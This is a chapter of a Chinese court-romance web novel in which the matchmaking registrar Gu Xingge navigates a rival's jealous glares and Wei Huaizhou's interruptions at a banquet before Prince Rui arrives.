顾行歌整个人愣在原地,指着那空位:“我……坐这里?” 28. 相亲大会(四) 那内侍扯高了嗓门道:“请顾主簿入座。” 顾行歌愣了愣,迟迟没敢动,总觉得四面八方有好几道目光隔空扫来。 一旁的王景见她愣着,忍不住催促道:“顾主簿,陛下既派你来这太白山庄,这位置就是给你留的,你当坐,快坐下。” 顾行歌这才回过神来,对啊,她可是要给这殿上的青年才俊和世家贵女牵红线的。不坐得靠前一点,怎么观察?怎么牵线? 只是…… 她看了眼另一边。 这旁边就是魏怀州…… 再这么站下去,反倒只会更加引人注目,顾行歌此时想不了那么多了,心一横,硬着头皮坐下来。 刚一落座,她便觉一股充满敌意的目光自对面射来。抬头一看,正是严江月。只见她正死死盯着自己,仿佛要将人活生生吞下。顾行歌连忙朝她行了个礼,谁料严江月半分未解气,反而杏眼瞪得更大。 顾行歌心头一慌,连忙端起茶盏,慢慢抿了一口,以此掩饰内心的焦躁。 这不对啊,不都安排严江月坐在“那位”旁边了吗?按理说,这她应该感谢顾行歌才对,怎的反而这般充满敌意? 顾行歌用余光瞥了一眼对面,只见严江月从发髻上取下一支镶着翡翠的簪子,握在手中把玩着,那动作怎么看,都像是下一瞬就要朝顾行歌扔过来,直戳她的眼睛。 吓得顾行歌几乎是本能地往王景那边挪了半寸。 谁知这一回,她还没坐稳,便见严江月已将那支簪子从容插回发间,像是什么都没有发生一样。那张原本怒气冲冲的脸,也迅速恢复了往日傲娇的神情。 顾行歌却没因此感到轻松,反倒心头一跳,总觉得哪里不对劲。 难道这严大小姐是冲她来的?不对。可若真是针对她,为何方才她一挨近王景,这严江月反倒又恢复如常? 难道? 她不自觉瞟向坐在另一侧的魏怀州,只见他换了身玄色圆领袍,少有的用玉冠束了发,整个人更显俊俏。案几上的烛台遮住了他大半的脸,只露出那双清秀的眉眼。 顾行歌略一思忖,索性又往魏怀州那边靠了靠。 魏怀州感受到身侧柔软的衣袖擦过,身体一下子僵住了。他也端起案几上的茶盏,遮掩般地抿了几口,只是动作却有些生硬。 好在顾行歌全然没注意到他的异样,她的心思全在对面。她盯着严江月,瞧见这大小姐又从头上取下来一只更尖锐的金丝簪子。 果然! 顾行歌恍然大悟。 她想起方才耳边传来的那些闲言碎语。住在主院的,除了睿王,确实还有一人。 那便是,魏怀州。 严江月口口声声“那位、那位”的,哪里是什么睿王,分明是她身边的这位魏大人! 顾行歌正不知该如何应对此事。正好此时,一名身着锦服的女子款款走进殿内,远远地朝他们这边行了个礼,随后才在严江月身旁落座,微微俯身说了几句。 紧接着,几名内侍端着茶点鱼贯而入,彻底将严江月那略微凶狠的视线挡了个严严实实。 顾行歌暗暗松了口气,端起茶盏又慢慢啜了一口,等茶的热气慢慢散开来,她才回过味来。 好家伙,真有人喜欢魏怀州啊。 不过转念一想,也不算奇怪。魏怀州的出身摆在那。再加上眉眼清俊,身形挺拔,单论模样,饶是顾行歌见过那么多男子,这魏怀州也能排进前几位。 只是名声确实也不太好听。这性子……真要细说,也实在不大讨喜。 比如,动不动就给别人派活儿,还特别爱强迫人查案。说话还不算数。之前明明答应要给合婚司派个侍卫,结果最后还是她自己东奔西找,把何流云请来,才算解了燃眉之急。 想到这里,顾行歌心里哼了一声,索性往王景那边挪了挪。 王景正往嘴里偷塞一块绿豆糕,见她突然靠近,吓得忙囫囵吞下去:“我说顾主簿,何苦坐得离我这么近?这殿里又没你不认识的人啊,你怕个什么。” 顾行歌点了点头,顺手拈起一颗最圆的葡萄丢进嘴里,含糊地回道:“确实都认得。” 王景像是忽然想起什么似的,神秘兮兮地凑过来:“那以你们合婚司的经验来看,你觉得谁最有可能成为睿王妃?” 顾行歌一愣,险些被葡萄呛住,忙捂着嘴顺了好几口气。 她原本不想回答这种问题,毕竟牵扯到姑娘家的名声。可前几日王景也算救过她一回,总不好装聋作哑。无奈之下,她只好用手指了指方才进来、此刻正坐在严江月身边低声说话、非常端庄的那位年轻女子。 王景顺着看过去:“那不是京兆尹张大人家的二小姐吗?我记得她与我妹妹认识,名叫……” “张绣莹。”顾行歌替他接了话。 王景道:“对对对,可你为何说是她啊?” 顾行歌道:“倒不是我胡乱猜测,只是最近新出的那份《京中贵女》的名册上,这位张小姐可是稳稳当当排在第一。她为人温婉娴静,出身又清贵,自然受到许多人的追捧。” 她想了想,又补充道:“其实这位张小姐原本还有个长姐。当年睿王还在京时,那位长姐与他交好,可惜红颜薄命,早早便去了。长姐刚去世的时候,张小姐悲痛欲绝,睿王怜惜她,便时常与她有书信往来,这事儿一度还成了一段佳话。偏民间那些少男少女,看完话本子就爱添枝加叶,硬生生把这两人推成了‘最般配的一对’,还投了个第一。” 王景追问道:“只是,不知道这张小姐,会不会在意睿王的病情。” 顾行歌慢悠悠地道:“我想,多半不会吧。” 其实,这些日子她跑了那么多家,这张府是第一个干脆应下来,有意愿与睿王结亲的人。若真是如此,想必张绣莹……多半是有情的吧。 王景见和顾行歌聊得还算投机,忽然想起自己心心念念的一桩事,便小心翼翼地开口:“其实,我这次来这山庄,还有一桩正事。” 顾行歌偏头看他,并没立刻接话。 王景接着道:“顾主簿应当知晓,我家里还有个妹妹,刚刚及笄。只是这丫头自小被宠惯了,骄纵得不行,父母实在放心不下。可女孩子大了,总得嫁 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宴席这头,魏怀州一直有些疑惑不解。方才顾行歌还好端端坐在自己身边,怎么一转眼就挪远了些。再一瞧,却见她正与王景肩并着肩,不知嘀嘀咕咕说些什么。 他侧耳一听,就捕到几句:“人长得一表人才。”“良配之选。” 这都什么话? 她一个未出阁的女子,当着这么多人的面,就这么点评来点评去的……莫不是,她自己也有这方面的想法? 魏怀州心头微微一沉,不知怎的,生出一股不大舒坦的滋味。可这股情绪来得没来由,他自己也说不清,只得默默听下去。 顾行歌指着钱大人旁边的一名男子,笑道:“此人是董皇妃的弟弟,今年刚二十,看着清秀,也尚未婚配……” 话音未落,就听身旁飘来一句:“这人前些日子在春华楼闹事,被关了好几日。” 顾行歌一愣,微微扭头,果然瞧见身后魏怀州,神情冷肃,一本正经地望着她与王景。 她现在可不敢多跟这人掰扯,只得敷衍般低声应了句:“多谢魏大人指点。” 话一落,她又扭回去,对王景继续介绍:“你正对面坐的,便是兵部孙侍郎的大公子,孙如。此人是康乐十三年的探花,学问极好,家境也殷实……” “此人我晓得。”魏怀州却不紧不慢接了话,语气淡淡,“前阵子在京城外纵马,马惊伤了好几人,如今可是官司缠身。” 顾行歌这回彻底转过头来,盯着他。 这人是怎么回事?怎么一直拆她的台! 她气得心头直痒痒,偏又碍于场合,不敢声张,只得压低声音道:“魏大人,俗话说宁拆十座庙,不毁一桩婚。你之前坏了我合婚司两桩姻缘就算了,这回我不过给王公子指点一二,你为何又要处处相逼?” 魏怀州被她噎得一时说不出话来,他自己也说不清,怎么这回偏偏就忍不住要插上两句。 两人正僵持间,殿外忽然传来内侍尖亮的通报声音:“睿王陛下到——” 一时间,殿内人声尽收,交杯换盏的声响也尽数停歇。 顾行歌暗暗吐了口气,看来,这场宴席,终于要开始了。